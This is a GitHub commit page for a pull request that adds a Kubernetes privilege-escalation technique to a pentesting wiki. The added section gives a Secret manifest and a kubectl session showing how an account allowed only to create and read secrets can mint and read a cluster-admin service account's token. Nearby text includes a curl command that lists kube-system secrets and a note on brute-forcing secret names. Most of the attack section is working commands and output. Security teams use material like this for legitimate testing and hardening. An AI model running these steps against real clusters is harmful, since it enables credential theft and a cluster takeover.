Skip to content

Commit cb5158f

Browse files
authored
Merge pull request #141 from VL4DYSL4V/VL4DYSL4V-k8s-privesc-via-secrets-create-and-read
Added K8s privesc technique via Create & Read secrets
2 parents 56b3c47 + d65a554 commit cb5158f

File tree

1 file changed

+69
-0
lines changed
  • src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes

1 file changed

+69
-0
lines changed

src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -350,6 +350,75 @@ The permission to **list secrets could allow an attacker to actually read the se
350350
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
351351
```
352352

353+
### Creating and Reading Secrets
354+
355+
There is a special kind of a Kubernetes secret of type **kubernetes.io/service-account-token** which stores serviceaccount tokens.
356+
If you have permissions to create and read secrets, and you also know the serviceaccount's name, you can create a secret as follows and then steal the victim serviceaccount's token from it:
357+
358+
```yaml
359+
apiVersion: v1
360+
kind: Secret
361+
metadata:
362+
name: stolen-admin-sa-token
363+
namespace: default
364+
annotations:
365+
kubernetes.io/service-account.name: cluster-admin-sa
366+
type: kubernetes.io/service-account-token
367+
```
368+
369+
Example exploitation:
370+
371+
```bash
372+
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
373+
374+
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
375+
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
376+
Resources Non-Resource URLs Resource Names Verbs
377+
selfsubjectreviews.authentication.k8s.io [] [] [create]
378+
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
379+
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
380+
secrets [] [] [get create]
381+
[/.well-known/openid-configuration/] [] [get]
382+
<SNIP>
383+
[/version] [] [get]
384+
385+
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
386+
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
387+
388+
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
389+
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
390+
391+
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
392+
secret/stolen-admin-sa-token created
393+
394+
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
395+
{
396+
"apiVersion": "v1",
397+
"data": {
398+
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
399+
"namespace": "ZGVmYXVsdA==",
400+
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
401+
},
402+
"kind": "Secret",
403+
"metadata": {
404+
"annotations": {
405+
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
406+
"kubernetes.io/service-account.name": "cluster-admin-sa",
407+
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
408+
},
409+
"creationTimestamp": "2025-01-11T13:02:27Z",
410+
"name": "stolen-admin-sa-token",
411+
"namespace": "default",
412+
"resourceVersion": "1019116",
413+
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
414+
},
415+
"type": "kubernetes.io/service-account-token"
416+
}
417+
```
418+
419+
Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace.
420+
421+
353422
### Reading a secret – brute-forcing token IDs
354423

355424
While an attacker in possession of a token with read permissions requires the exact name of the secret to use it, unlike the broader _**listing secrets**_ privilege, there are still vulnerabilities. Default service accounts in the system can be enumerated, each associated with a secret. These secrets have a name structure: a static prefix followed by a random five-character alphanumeric token (excluding certain characters) according to the [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).

0 commit comments

Comments
 (0)